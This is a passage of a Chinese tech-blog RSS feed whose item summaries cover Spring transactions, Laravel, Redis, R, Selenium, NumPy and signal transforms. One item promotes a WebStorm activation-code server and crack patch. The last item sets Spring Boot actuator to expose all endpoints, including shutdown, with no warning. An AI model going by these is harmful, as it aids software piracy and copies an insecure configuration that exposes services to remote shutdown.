service实现类(一般不建议在接口上)上添加@Transactional，可以将整个类纳入spring事务管理，在每个业务方法执行时都会开启一个事务，不过这些事务采用相同的管理方式。&#xA;Transactional 注解只能应用到 public 可见度的方法上。 如果应用在protected、private或者 package可见度的方法上，也不会报错，不过事务设置不会起作用。&#xA;默认情况下，Transactional 注解的事物所管理的方法中，如果方法抛出运行时异常或error，那么会进行事务回滚；如果方法抛出的是非运行时异常，那么不会回滚。&#xA;注：SQL异常属于检查异常（有的框架将SQL异常重写为了运行时异常），但是有时我们写SQL时，检查异常并&#xA;不会提示；而默认情况下，事物对检查异常不会作出回滚处理。&#xA;注：在很多时候，我们除了catch一般的异常或自定义异常外，我们还习惯于catch住Exception异常；然后再抛出&#xA;Exception异常。但是Exception异常属于非运行时异常(即：检查异常)，因为默认是运行时异常时事物才进&#xA;行回滚，那么这种情况下，是不会回滚的。我们可以在@Transacional注解中，通过&#xA;rollbackFor = {Exception.class} 来解决这个问题。即：设置当Exception异常或Exception的所有任意子&#xA;类异常时事物会进行回滚。&#xA;注：被catch处理了的异常，不会被事物作为判断依据；如果异常被catch 了，但是又在catch中抛出了新的异&#xA;常，那么事物会以这个新的异常作 为是否进行回滚的判断依据。&#xA;事务的传播机制(行为)： 事务的传播行为是指，如果在开始当前事务之前，一个事务上下文已经存在，此时有若干选项可以指定一个事务性方法的执行行为。&#xA;即：在执行一个@Transactinal注解标注的方法时，开启了事务；当该方法还在执行中时，另一个人也触发了该方法；&#xA;那么此时怎么算事务呢，这时就可以通过事务的传播机制来指定处理方式。&#xA;在TransactionDefinition定义中包括了如下几个表示传播行为的常量：</description>
    </item>
    <item>
      <title>最新版WebStorm2018激活码</title>
      <link>https://bchobby.github.io/posts/5fa0c2bfdd5644db8a9d96ddb27411fe/</link>
      <pubDate>Wed, 27 Jun 2018 10:34:35 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/5fa0c2bfdd5644db8a9d96ddb27411fe/</guid>
      <description> http://idea.youbbs.org 亲测可用&#xA;7月9日晚，发现突然用不了了，但可以网上搜索了一波，通过破解补丁进行破解，点开下面链接即可查看，也非常简单&#xA;WebStorm 2018版本破解方法 </description>
    </item>
    <item>
      <title>比赛 解题报告</title>
      <link>https://bchobby.github.io/posts/f7e1699a6d8213247e1d0c349d84ef41/</link>
      <pubDate>Tue, 26 Jun 2018 11:51:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/f7e1699a6d8213247e1d0c349d84ef41/</guid>
      <description>比赛 题目描述 有两个队伍A和B，每个队伍都有n个人。这两支队伍之间进行n场1对1比赛，每一场都是由A中的一个选手与B中的一个选手对抗。同一个人不会参加多场比赛，每个人的对手都是随机而等概率的。例如A队有A1和A2两个人，B队有B1和B2两个人，那么(A1 vs B1,A2 vs B2)和(A1 vs B2,A2 vs B1)的概率都是均等的50%。&#xA;每个选手都有一个非负的实力值。如果实力值为X和Y的选手对抗，那么实力值较强的选手所在的队伍将会获得(X-Y)^2的得分。&#xA;求A的得分减B的得分的期望值。&#xA;输入输出格式 输入格式： 第一行一个数n表示两队的人数为n。 第二行n个整数，第i个数A[i]表示队伍A的第i个人的实力值。 第三行n个整数，第i个数B[i]表示队伍B的第i个人的实力值。&#xA;输出格式： 输出仅包含一个实数表示A期望赢B多少分。答案保留到小数点后一位（注意精度）。&#xA;说明 对于30%的数据，n≤50。&#xA;对于100%的数据,n≤50000;A[i],B[i]≤50000。&#xA;昨天刚学期望今天就考了，喵喵喵&#xA;如果把\(b\)队看成位置，把\(a\)队的人往里面放，一共可以产生\(n!\)种情况。&#xA;则对任意的二元配对组\(A_i\)与\(B_j\)，它们产生的答案即为&#xA;\((A_i-B_i)*(n-1)!/n!\)，乘上的\((n-1)!\)即为它的出现次数&#xA;则总答案为&#xA;\((\sum_{i=1}^{n} \sum_{j=1,A[i]&amp;gt;=B[j]}^{n} {(A[i]-B[j])}^2-\sum_{i=1}^{n} \sum_{j=1,A[i]&amp;lt;B[j]}^{n} {(A[i]-B[j])}^2)/n\)&#xA;将A,B两个数组排序，递推统计即可。把完全平方公式拆开多维护一点信息即可。&#xA;注意精度问题，此题输入全为整数，所以最后再转double&#xA;#include &amp;lt;cstdio&amp;gt; #include &amp;lt;algorithm&amp;gt; #include &amp;lt;cmath&amp;gt; #define ld long long const int N=50010; int n,pos=0; ld a[N],b[N],s1=0,s2=0,ans=0,sum1=0,sum2=0; void init() { std::sort(a+1,a+1+n); std::sort(b+1,b+1+n); while(pos&amp;lt;n&amp;amp;&amp;amp;a[1]&amp;gt;=b[pos+1]) pos++; for(int i=1;i&amp;lt;=pos;i++) { s1+=(a[1]-b[i])*(a[1]-b[i]); sum1+=b[i]; } for(int i=n;i&amp;gt;pos;i--) { s2+=(b[i]-a[1])*(b[i]-a[1]); sum2+=b[i]; } ans+=s1-s2; } void work() { for(int i=2;i&amp;lt;=n;i++) { int las=pos+1; while(pos&amp;lt;n&amp;amp;&amp;amp;a[i]&amp;gt;=b[pos+1]) pos++; for(int j=las;j&amp;lt;=pos;j++) sum2-=b[j]; for(int j=las;j&amp;lt;=pos;j++) { s1+=(a[i]-b[j])*(a[i]-b[j]); s2-=(b[j]-a[i-1])*(b[j]-a[i-1]); } s1+=(a[i]-a[i-1])*((las-1)*(a[i]+a[i-1])-2*sum1); s2+=(a[i]-a[i-1])*((n-pos)*(a[i]+a[i-1])-2*sum2); ans+=s1-s2; for(int j=las;j&amp;lt;=pos;j++) sum1+=b[j]; } } int main() { //freopen(&#34;</description>
    </item>
    <item>
      <title>laravel使用中遇到的问题</title>
      <link>https://bchobby.github.io/posts/d0b2110910c1ebbb58c693b0be31ece7/</link>
      <pubDate>Tue, 26 Jun 2018 04:24:16 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/d0b2110910c1ebbb58c693b0be31ece7/</guid>
      <description>又有一段时间没有学习了!迷茫，除了迷茫还是在迷茫！最近，公司接了一个laravel的项目，可惜没有phper，于是开始学习laravel，现在的情况就是还没学会走路就要开始跑了，所以遇到坑会摔得很痛！ 安装出现的问题 安装步骤(5.3.*)&#xA;composer global require &#34;laravel/installer&#34; composer create-project --prefer-dist laravel/laravel blog &#34;5.3.*&#34; 出现的问题&#xA;①无法安装composer依赖 报错: php.ini 缺少mbstring&#xA;laravel/framework v5.4.9 requires ext-mbstring * -&amp;gt; the requested PHP extension mbstring is missing from your system. 解决: 放开注释extension=php_mbstring.dll&#xA;②php artisan ser能运行但页面报错 报错: The only supported ciphers are AES-128-CBC and AES-256-CBC&#xA;解决: 先运行这个命令&#xA;php artisan key:generate 再运行&#xA;php artisan config:clear ③同事安装php出现的问题:php.ini启用openssl时报错openssl.dll找不到 错误显示他的配置默认去C:/php/ext/下去找openssl.dll文件&#xA;解决: 他开的是虚拟机，修改extension_dir = &#34;./&#34; 路径为绝对路径&#xA;④本地运行时post请求报错 报错:&#xA;TokenMismatchException in VerifyCsrfToken.php line 68: in VerifyCsrfToken.</description>
    </item>
    <item>
      <title>Redis分页排序业务详细实现</title>
      <link>https://bchobby.github.io/posts/2df512a000b78cee6aeb5782a19113bc/</link>
      <pubDate>Mon, 25 Jun 2018 17:59:10 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/2df512a000b78cee6aeb5782a19113bc/</guid>
      <description>最近公司由于业务中需要将帖子,评论,视频等加入缓存，以前没怎么操作过缓存得分页，看了一下源码，这里主要用到redis两个数据类型：SortedSet（Zset）和hash两种数据类型，至于为什么选择这两个后面再说。&#xA;SortedSet（Zset）数据类型&#xA;SortedSet（Zset）是有序的集合类型，但是它和LinkedHashSet还不一样，LinkedHashSet维护的是插入时的顺序，而SortedSet维护的是元素之间大小关系的顺序（比如升序、降序等，是根据大小关系来维护顺序的)，简单就是说我们可以根据我们需求对其排序，有分页就肯定有排序所以这里我选择的用sortset。 这里主要用到该数据类型的Zrevrangebyscore和zadd两种类型，zadd负责向里面插入对应数据，Zrevrangebyscore负责分页。&#xA;hash数据类型&#xA;hash 是一个string类型的field和value的映射表，hash特别适合用于存储对象。&#xA;思路: 主要思路就是在数组中放入需要分页的key和排序的元素，在hash存放key所对应对象详细信息。&#xA;排序测试&#xA;第一步:向hash中插入数据对象。每一个对象都有一个uuid（为了模拟数据库表对应的主键），同时插入数据时候向SortedSet member属性插入对应对象的uuid和sort插入需要排序的字段（排序的一个属性，这里先用1234排序测试）&#xA;写个测试类测试一下&#xA;public static void main(String[] args) { //存数据 Jedis jedis = new Jedis(&#34;ip&#34;, &#34;port&#34;, 10000); jedis.auth(&#34;123456&#34;); jedis.select(9); for (int i = 0; i &amp;lt; 10; i++) { String s = IdGenerator.generateId(); for (int j = 10 - i; j &amp;gt; 0; j--) { System.out.println(j); //数组中存值 j:排序值，s:对应数组里key jedis.zadd(&#34;list&#34;, j, s); break; } Date date = new Date(); SolrBean solrBean = new SolrBean(); solrBean.</description>
    </item>
    <item>
      <title>Python查看当前版本支持包格式,cp27,cp35等.</title>
      <link>https://bchobby.github.io/posts/b49be539c574b4b179da03e09996203e/</link>
      <pubDate>Mon, 25 Jun 2018 14:01:51 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/b49be539c574b4b179da03e09996203e/</guid>
      <description> 打开cmd输入python或者ipython 输入&#xA;import pip print(pip.pep425tags.get_supported()) 如下:&#xA;[(&#39;cp27&#39;, &#39;cp27m&#39;, &#39;win32&#39;), (&#39;cp27&#39;, &#39;none&#39;, &#39;win32&#39;), (&#39;py2&#39;, &#39;none&#39;, &#39;win32&#39;) , (&#39;cp27&#39;, &#39;none&#39;, &#39;any&#39;), (&#39;cp2&#39;, &#39;none&#39;, &#39;any&#39;), (&#39;py27&#39;, &#39;none&#39;, &#39;any&#39;), (&#39;py 2&#39;, &#39;none&#39;, &#39;any&#39;), (&#39;py26&#39;, &#39;none&#39;, &#39;any&#39;), (&#39;py25&#39;, &#39;none&#39;, &#39;any&#39;), (&#39;py24&#39;, &#39; none&#39;, &#39;any&#39;), (&#39;py23&#39;, &#39;none&#39;, &#39;any&#39;), (&#39;py22&#39;, &#39;none&#39;, &#39;any&#39;), (&#39;py21&#39;, &#39;none&#39; , &#39;any&#39;), (&#39;py20&#39;, &#39;none&#39;, &#39;any&#39;)] </description>
    </item>
    <item>
      <title>手把手教你用R处理常见的数据清洗问题（附步骤解析、R语言代码）</title>
      <link>https://bchobby.github.io/posts/8b67a698eeebb012026512ec2462e156/</link>
      <pubDate>Mon, 25 Jun 2018 07:39:17 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/8b67a698eeebb012026512ec2462e156/</guid>
      <description>作者：James D. Miller;翻译：王雨桐;校对：万文菁&#xA;本文约5300字，建议阅读10+分钟。&#xA;本文将介绍数据清洗过程的主要步骤，并通过案例和代码演示如何利用R语言进行数据清洗。 R是进行运算、清洗、汇总及生成概率统计等数据处理的一个绝佳选择。此外，由于它独立于平台、短期内不会消失，所以生成的程序可以在任何地方运行。并且，它具备非常棒的辅助资源。&#xA;本文摘录自James D.Miller撰写的《数据科学统计学》（Statistics for Data Science）一书，该书由Packt Publishing出版。&#xA;R是一种易上手的语言和环境，它本身很灵活且专注于统计计算，因此成为运算、清洗、汇总及生成概率统计等数据处理的一个绝佳选择。&#xA;此外，以下是用R进行数据清洗的其他原因：&#xA;由于大量数据科学家都在使用R，所以它短时间内不会消失。&#xA;R独立于平台，因此可以在任意地方运行程序。&#xA;R有绝佳的辅助资源---Google一下，你就可以看到。&#xA;注：尽管作者将示例数据命名为“赌博数据”（Gamming Data），它只是用来演示代码的赌博数据。&#xA;离群点 对离群点最简单的解释是：离群点是和其余数据不匹配的数据点。按照惯例，任何过高、过低或者异常（基于项目背景）的数据都是离群点。作为数据清洗的一部分，数据科学家通常要识别出离群点并用通用的方法解决它：&#xA;删除离群点的值，甚至是离群点对应的实际变量。&#xA;转换变量值或变量本身。&#xA;让我们来看一下实际案例中如何用R识别并解决数据离群点。&#xA;老虎机在赌博界十分流行（老虎机的操作方法是把硬币投入到机器中，并拉动把手来决定回报）。如今大部分老虎机都电子化了，编程使它们的所有活动都能被持续追踪。在本文的案例中，赌场的投资者希望利用这些数据（以及各种补充数据）来调整盈利策略。换句话说，什么能让老虎机赚更多钱？是机器的主题还是类型？新机器比旧机器或老式机器更有利可图吗？机器的位置会产生怎样的影响？低面额的机器会赚更多钱吗？我们尝试用离群点来找到答案。&#xA;给定一个集合或赌博数据库（格式为逗号分隔或CSV文本文件），其中包括的数据如老虎机的位置、钱的面额、月份、日、年、机器类型、机器的年龄、促销、优惠券、天气和投币量（投币量是放入机器的钱币总额减去支付的数额）。&#xA;作为一个数据科学家，第一步要对数据进行综评（有时称为概述），此时我们要确定是否存在异常值，第二步是解决这些离群点。&#xA;步骤一 数据概述&#xA;R使这一步骤变得非常简单。尽管可以通过很多方式编程求解，但我们要尝试用最少的程序代码或脚本来解决问题。将CSV文件定义为R的变量（命名为MyFile）并将文件读入为数据框（命名为Mydata）：&#xA;MyFile&amp;lt;-&#34;C:/GammingData/SlotsResults.csv&#34; MyData&amp;lt;- read.csv(file=MyFile, header=TRUE, sep=&#34;,&#34;)&#xA;在统计学上，箱型图是一种简单的方式以得到统计数据集的分布、变异性和中心（或中位数）相关信息，所以我们将用箱型图来研究我们能否识别出中位数Coin-in以及能否找到离群点。为了达成这些，我们可以让R画出文件中每个老虎机的Coin-in值，绘制箱型图的函数如下：&#xA;boxplot(MyData[11],main=&#39;GammingData Review&#39;, ylab = &#34;Coin-in&#34;)&#xA;注：Coin-in是文件中的第11列，所以直接将它作为boxplot函数的参数。此外还添加了一个可选择的参数（再次强调，本文已尽量保持代码的简洁度），以便在可视化图中添加标题。&#xA;执行前文的代码可以得到下图效果，包括中位数（中位数在箱型图中是中间横穿的线）以及四个离群点：&#xA;步骤2-处理离群点&#xA;现在我们发现数据中确实存在离群点，我们要解决这些点以保证它们不会对本研究产生负面影响。首先，我们知道Coin-in有负值是不合理的，因为机器输出的钱币一定不会比投入到机器中的硬币多。基于这个原则，我们可以从文件中删除Coin-in为负值的记录。此外，R可以帮助我们用subset生成一个新的数据框，新数据集中只有Coin-in中的非负值。&#xA;我们要将subset数据框命名为noNegs：&#xA;noNegs&amp;lt;- subset(MyData, MyData[11]&amp;gt;0)&#xA;接下来，我们要再一次画图以确定已经删除负值离群点:&#xA;boxplot(noNegs[11],main=&#39;GammingData Review&#39;, ylab = &#34;Coin-in&#34;)&#xA;这就产生了新的箱型图，如下图中所示：&#xA;我们可以用同样的方法去除Coin-in中极端的正值（大于1500美元）得到另一个数据子集并再次画图：&#xA;noOutliers&amp;lt;-subset(noNegs, noNegs[11]&amp;lt;1500)&#xA;boxplot(noOutliers[11],main=&#39;GammingData Review&#39;, ylab = &#34;Coin-in&#34;)&#xA;当你对数据进行不同的迭代后，建议你保存大部分版本的数据（如果不是最重要的）。你可以用write.csv这个R函数：&#xA;write.csv(noOutliers,file=&#34;C:/GammingData/MyData_lessOutliers.csv&#34;)&#xA;注：大部分数据科学家在整个项目中采取通用的命名规律。文件的名字应该尽可能清晰以便今后帮助你节省时间。此外，特别是在处理大量数据时，你需要注意内存空间的问题。&#xA;以上代码的输出结果如下：&#xA;领域知识</description>
    </item>
    <item>
      <title>python webdriver操作浏览器</title>
      <link>https://bchobby.github.io/posts/f23cbef39c9e2b662a635d1ae0398f81/</link>
      <pubDate>Sun, 24 Jun 2018 14:39:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/f23cbef39c9e2b662a635d1ae0398f81/</guid>
      <description>一.webdriver简介 Selenium是ThroughtWorks公司开发的一套Web自动化测试工具。&#xA;它分为三个组件：&#xA;Selenium IDE&#xA;Selenium RC (Remote Control)&#xA;Selenium Webdriver&#xA;Selenium IDE是firefox的一个插件，允许测试人员录制脚本并回放。&#xA;Selenium RC和Selenium Webdriver是测试框架，提供多种语言的API。不同的是，Selenium Webdriver以一种更底层、更灵活的方式来操作浏览器，并不仅仅使用JavaScript。这样它可以绕开浏览器的沙箱限制，实现Selenium RC不支持的框架、弹出窗口、页面导航、下拉菜单、基于AJAX的UI元素等控件的操作。以及，Selenium Webdriver不需要本地服务器。&#xA;Selenium 1.x版本只包含前两个组件。从2.0开始Webdriver加入其中。&#xA;主要是来解决https的加密问题&#xA;二.使用 Webdriver在使用之前，需要下载一个浏览器所对应用的驱动插件，请根据自己不同的浏览器版本，进行下载：&#xA;这里使用的是谷歌浏览器，可以在网上进行搜索下载，并把chromdriver放在google.exe那个当前目录下面。&#xA;1.例子：打开某网址 #导入模块import os import time from selenium import webdriver #指定下载插件的位置 chromedriver = &#34;c:\/users\youjianjun\AppData\Local\Google\Chrome\Application\chromedriver.exe&#34; os.environ[&#34;webdriver.chrome.driver&#34;] = chromedriver driver = webdriver.Chrome(chromedriver) #定义要访问的页面 url = &#34;http://www.python.org&#34;#打开 driver.get(url)#打开页面后停止3秒 time.sleep(3)#关闭页面 driver.quit() 运行之后会自动打开浏览器并访问填写的URL，在停止3秒后，页面自动关闭。&#xA;2.当能够自动打开页面后，下一步需要做的就是登陆了，那么这时候就要用到‘选择器‘了，它可以定位到页面上的输入框，然后进行操作。&#xA;八种选择器：&#xA;1. find_elements_by_name(“test”)&#xA;页面：&#xA;&amp;lt;input type=&#34;text&#34; name=&#34;passwd&#34; id=&#34;passwd-id&#34; class=”input-class”/&amp;gt;&#xA;代码：&#xA;element = driver.find_elements_by_name(“passwd”)&#xA;2. find_elements_by_id()&#xA;element = driver.</description>
    </item>
    <item>
      <title>反射中Method类的invoke() 和getMethod()</title>
      <link>https://bchobby.github.io/posts/f4ca4ad3a88c97d286b6a3a47c9a3d86/</link>
      <pubDate>Sun, 24 Jun 2018 13:25:18 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/f4ca4ad3a88c97d286b6a3a47c9a3d86/</guid>
      <description>就是调用类中的方法，最简单的用法是可以把方法参数化。invoke(class, method)；&#xA;Method Class.getMethod(String name, Class&amp;lt;?&amp;gt;... parameterTypes)的作用是获得对象所声明的公开方法&#xA;该方法的第一个参数name是要获得方法的名字，第二个参数parameterTypes是按声明顺序标识该方法形参类型。&#xA;person.getClass().getMethod(&#34;Speak&#34;, null);&#xA;//获得person对象的Speak方法，因为Speak方法没有形参，所以parameterTypes为null&#xA;person.getClass().getMethod(&#34;run&#34;, String.class);&#xA;//获得person对象的run方法，因为run方法的形参是String类型的，所以parameterTypes为String.class&#xA;如果对象内的方法的形参是int类型的，则parameterTypes是int.class&#xA;//getMethod第一个参数是方法名，第二个参数是该方法的参数类型，&#xA;//因为存在同方法名不同参数这种情况，所以只有同时指定方法名和参数类型才能唯一确定一个方法&#xA;Method method = XXX.getClass().getMethod(methodName,new Class[0]);&#xA;//第一个参数是具体调用该方法的对象&#xA;//第二个参数是执行该方法的具体参数 如一个函数 int Test(int a, String str);&#xA;对应的getMethod方法：&#xA;1. getMethod(&#34;Test&#34;,int.class,String.class);&#xA;2. getMethod(&#34;Test&#34;,new Class[]{int.class,String.class});&#xA;//Method类的invoke(Object obj,Object args[])方法接收的参数必须为对象，返回值总是对象。&#xA;//如果参数为基本类型数据，必须转换为相应的包装类型的对象。&#xA;public Object invoke(Object obj, Object... args) throws IllegalAccessException, IllegalArgumentException, InvocationTargetException InvokeObj.java:&#xA;public class InvokeObj {&#xA;public void show(){&#xA;System.out.println(&#34;无参show()方法&#34;);&#xA;}&#xA;public void show(String name){&#xA;System.out.println(&#34;show方法：&#34;+name);&#xA;}&#xA;public String[] arrayShow(String[] arr){</description>
    </item>
    <item>
      <title>NumPy常用函数（7）-- 计算股票收益率和波动率</title>
      <link>https://bchobby.github.io/posts/767889377db38a61369acf9f43e31399/</link>
      <pubDate>Sun, 24 Jun 2018 09:48:04 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/767889377db38a61369acf9f43e31399/</guid>
      <description>收盘价的分析常常是基于股票收益率的。股票收益率又可以分为简单收益率和对数收益率。&#xA;简单收益率：是指相邻两个价格之间的变化率。&#xA;对数收益率：是指所有价格取对数后两两之间的差值。&#xA;简单收益率的计算&#xA;NumPy中的diff函数可以返回一个由相邻数组元素的差值构成的数组。不过需要注意的是，diff返回的数组比收盘价数组少一个元素。&#xA;对数收益率的计算 对数收益率计算起来甚至更简单一些。我们先用log函数得到每一个收盘价的对数，再对结果使用diff函数即可。一般情况下，我们应该检查输入数组以确保不含有零和负数。&#xA;我们有时只对交易日的收益率为正值感兴趣。我们可以用where函数，指定判断条件，where函数会返回满足条件的数组元素的索引值。&#xA;股票波动率的计算 股票波动率是对价格变动的一种衡量。计算波动率（年波动率和月波动率）时，需要用到对数波动率。 年波动率等于对数波动率的标准差除以其均值，再除以交易日倒数的平方根，通常交易日取252天。&#xA;实例： #NumPy常用函数：计算股票收益率和波动率 from numpy import * #简单收益率：相邻两个价格之间的变化率 #20 30 50 45 (30 - 20)/20,(50 - 30)/30,(45 - 50)/45 #对数收益率：所有价格取对数后两两之间的差值 #(log(30) - log(20) = log(30/20)) #log(a) - log(b) = log(a/b) #diff std where log sqrt #diff：返回由相邻数组元素的差值组成的数组 #std：计算标准差，sqrt(((x1 - a)^2 + (x2 - a)^2 + (x3 - a)^2 ...+ (xn - a)^2))/n) #标准差可以反映一个数据集的离散程度 #where：可以根据设置的条件过滤数组中值的索引 #计算简单收益率 a = array([4,7,10,4]) print(diff(a)) c = loadtxt(&#39;data.</description>
    </item>
    <item>
      <title>简述计算机三大变换的联系和区别 (傅里叶变换 拉普拉斯变换 z变换)</title>
      <link>https://bchobby.github.io/posts/e4c40f73f3015f4a8120e250dfd3afc9/</link>
      <pubDate>Sat, 23 Jun 2018 12:14:48 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/e4c40f73f3015f4a8120e250dfd3afc9/</guid>
      <description>Q:简述计算机三大变换的联系和区别 (傅里叶变换 拉普拉斯变换 z变换)&#xA;（1） 傅里叶变换定义：&#xA;表示能将满足一定条件的某个函数表示成三角函数（正弦和/或余弦函数）或者它们的积分的线性组合。傅立叶变换是一种分析信号的方法，它可分析信号的成分，也可用这些成分合成信号。许多波形可作为信号的成分，比如正弦波、方波、锯齿波等，傅立叶变换用正弦波作为信号的成分。&#xA;f(t)是t的周期函数，如果t满足狄里赫莱条件：在一个以2T为周期内f(X)连续或只有有限个第一类间断点，附f（x）单调或可划分成有限个单调区间，则F（x）以2T为周期的傅里叶级数收敛，和函数S（x）也是以2T为周期的周期函数，且在这些间断点上，函数是有限值；在一个周期内具有有限个极值点；绝对可积。则有下图①式成立。称为积分运算f(t)的傅立叶变换，&#xA;②式的积分运算叫做F(ω)的傅立叶逆变换。F(ω)叫做f(t)的像函数，f(t)叫做F(ω)的像原函数。F(ω)是f(t)的像。f(t)是F(ω)原像。&#xA;①傅立叶变换&#xA;②傅立叶逆变换&#xA;（2）拉普拉斯变换定义：&#xA;拉普拉斯变换是工程数学中常用的一种积分变换，又名拉氏变换。 拉氏变换是一个线性变换，可将一个有参数实数t（t≥ 0）的函数转换为一个参数为复数s的函数。拉普拉斯变换在许多工程技术和科学研究领域中有着广泛的应用，特别是在力学系统、电学系统、自动控制系统、可靠性系统以及随机服务系统等系统科学中都起着重要作用。&#xA;拉普拉斯变换的公式：&#xA;拉普拉斯变换是对于t&amp;gt;=0函数值不为零的连续时间函数x(t)通过关系式&#xA;(式中-st为自然对数底e的指数)变换为复变量s的函数X(s)。它也是时间函数x(t)的“复频域”表示方式。&#xA;（3）Z变换定义：&#xA;Z变换（英文：z-transformation）可将时域信号（即：离散时间序列）变换为在复频域的表达式。它在离散时间信号处理中的地位，如同拉普拉斯变换在连续时间信号处理中的地位。离散时间信号的Z变换是分析线性时不变离散时间系统问题的重要工具，在数字信号处理、计算机控制系统等领域有着广泛的应用。&#xA;双边Z变换&#xA;离散时间序列x[n]的Z变换定义为：&#xA;式中 ，σ为实变数，ω为实变量，所以Z是一个幅度为 ，相位为ω的复变量。x[n]和X(Z)构成一个Z变换对。&#xA;单边Z变换&#xA;通常意义下的Z变换指双边Z变换，单边Z变换只对右边序列（ 部分）进行Z变换。单边Z变换可以看成是双边Z变换的一种特例，对于因果序列双边Z变换与单边Z变换相同。&#xA;单边Z变换定义为 ：&#xA;（4）关系和区别：&#xA;傅立叶变换是最基本得变换，由傅里叶级数推导出。傅立叶级数只适用于周期信号，把非周期信号看成周期T趋于无穷的周期信号，就推导出傅里叶变换，能很好的处理非周期信号的频谱。但是傅立叶变换的弱点是必须原信号必须绝对可积，因此适用范围不广。&#xA;拉普拉斯变换是傅立叶变换的推广，傅立叶变换不适用于指数级增长的函数，而拉氏变换相当于是带有一个指数收敛因子的傅立叶变换，把频域推广到复频域，能分析的信号更广。然而缺点是从拉普拉斯变换的式子中，只能看到变量s，没有频率f的概念，要看幅频响应和相频响应，还得令s=j2πf&#xA;Z变换的本质是离散时间傅里叶变换（DTFT），如果说拉普拉斯变换专门分析模拟信号，那Z变换就是专门分析数字信号，Z变换可以把离散卷积变成多项式乘法，对离散数字系统能发挥很好的作用。Z变换看系统频率响应，就是令Z在复频域的单位圆上跑一圈，即Z=e^(j2πf)，即可得到频率响应。由于傅里叶变换的特性“时域离散，则频域周期”，因此离散信号的频谱必定是周期的，就是以这个单位圆为周期，Z在单位圆上不停的绕圈，就是周期重复。单位圆0°位置是实际频率0HZ，单位圆180度的实际频率就是采样频率的一般,fs/2.&#xA;总结一下：拉普拉斯变换是傅里叶变换的扩展，傅里叶变换是拉普拉斯变换的特例，z变换是离散的傅里叶变换在复平面上的扩展。&#xA;相关阅读：&#xA;杀死傅里叶变换</description>
    </item>
    <item>
      <title>jsp标签</title>
      <link>https://bchobby.github.io/posts/bbb2987533b8a8163529e60e1a553c59/</link>
      <pubDate>Sat, 23 Jun 2018 10:43:42 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/bbb2987533b8a8163529e60e1a553c59/</guid>
      <description>表达式控制标签——out标签使用总结 1.功能----主要是用来输出数据对象（字符串、表达式）的内容或结果。 2.语法 【语法1】：&amp;lt;c:out value=”要显示的数据对象” [escapeXml=”true|false”] [default=”默认值”]/&amp;gt; 【语法2】：&amp;lt;c:out value=”要显示的数据对象” [escapeXml=”true|false”]&amp;gt;默认值&amp;lt;/c:out&amp;gt;&#xA;3.属性 属性名 是否支持EL 属性类型 属性描述&#xA;Value true object 指定要输出的内容&#xA;escapeXm1 true Boolean 指定是否将〉、〈、&amp;amp;、’、”等特殊字符进行HTL编码转换后再进行输出。默认值为true default true object 指定如果value属性的值为nu11时所输出的默认值 表达式控制标签——set标签使用总结 1.功能---用于把某一个对象存在指定的域范围内，或者将某一个对象存储到Map或者JavaBean对象中。&#xA;2.语法 语法1：存值，把一个值放在指定的域范围内。 &amp;lt;c:set value=”值1” var=”name1” [scope=”page|request|session|application”]/&amp;gt; 含义：把一个变量名为name1值为“值1”的变量存储在指定的scope范围内。 语法2： &amp;lt;c:set var=”name2” [scope=”page|request|session|application”]&amp;gt; 值2 &amp;lt;/c:set&amp;gt; 含义：把一个变量名为name2，值为值2的变量存储在指定的scope范围内。 语法3： &amp;lt;c:set value=”值3” target=”JavaBean对象” property=”属性名”/&amp;gt; 含义：把一个值为“值3”赋值给指定的JavaBean的属性名。相当与setter()方法。 语法4： &amp;lt;c:set target=”JavaBean对象” property=”属性名”&amp;gt; 值4 &amp;lt;/c:set&amp;gt; 表达式控制标签——remove标签使用总结 1.功能-----主要用来从指定的JSP范围内移除指定的变量。 2.语法 &amp;lt;c:remove var=”变量名” [scope=”page|request|session|application”]/&amp;gt; 其中var属性是必须的，scope可以以省略。 表达式控制标签——catch标签使用总结 1.功能----用于捕获嵌套在标签体中的内容抛出的异常。 2.语法 其语法格式如下：&amp;lt;c:catch [var=&#34;varName&#34;]&amp;gt;容易产生异常的代码&amp;lt;/c:catch&amp;gt; var属性用于标识&amp;lt;c:catch&amp;gt;标签捕获的异常对象，它将保存在page这个Web域中。 流程控制标签——if标签使用总结 1.</description>
    </item>
    <item>
      <title>深度学习 计算机视觉 python opencv</title>
      <link>https://bchobby.github.io/posts/71338c6ea6c169928d7f9d00afe81c10/</link>
      <pubDate>Sat, 23 Jun 2018 10:02:40 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/71338c6ea6c169928d7f9d00afe81c10/</guid>
      <description>https://www.bilibili.com/video/av23546891/?p=2&#xA;http://www.docin.com/p-2080563523.html</description>
    </item>
    <item>
      <title>springboot  actuator shutdown正确的关闭操作</title>
      <link>https://bchobby.github.io/posts/e6be6df508fa010c8c8c32b2751c6dee/</link>
      <pubDate>Fri, 22 Jun 2018 17:35:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/e6be6df508fa010c8c8c32b2751c6dee/</guid>
      <description>今天整合ehcache时发现一个很重要的问题，就是程序关闭（硬关闭）之后，持久化到磁盘的缓存数据没能正确写入加载，问题还是硬关闭的问题，所以就使用actuator 进行监听&#xA;&amp;lt;dependency&amp;gt; &amp;lt;groupId&amp;gt;org.springframework.boot&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;spring-boot-starter-actuator&amp;lt;/artifactId&amp;gt; &amp;lt;/dependency&amp;gt; application.properties中添加（这里使用的是springboot2.x，所以management.endpoint替换了1.x的endpoints）&#xA;#启用shutdown&#xA;management.endpoint.shutdown.enabled=true 重启之后（/actuator 查看添加的监听接口）发现是没有需要的（/shutdown）&#xA;{ &#34;_links&#34;: { &#34;self&#34;: { &#34;href&#34;: &#34;http://localhost:8082/actuator&#34;, &#34;templated&#34;: false }, &#34;health&#34;: { &#34;href&#34;: &#34;http://localhost:8082/actuator/health&#34;, &#34;templated&#34;: false }, &#34;info&#34;: { &#34;href&#34;: &#34;http://localhost:8082/actuator/info&#34;, &#34;templated&#34;: false } } } application.properties中添加&#xA;management.endpoints.web.exposure.include=* 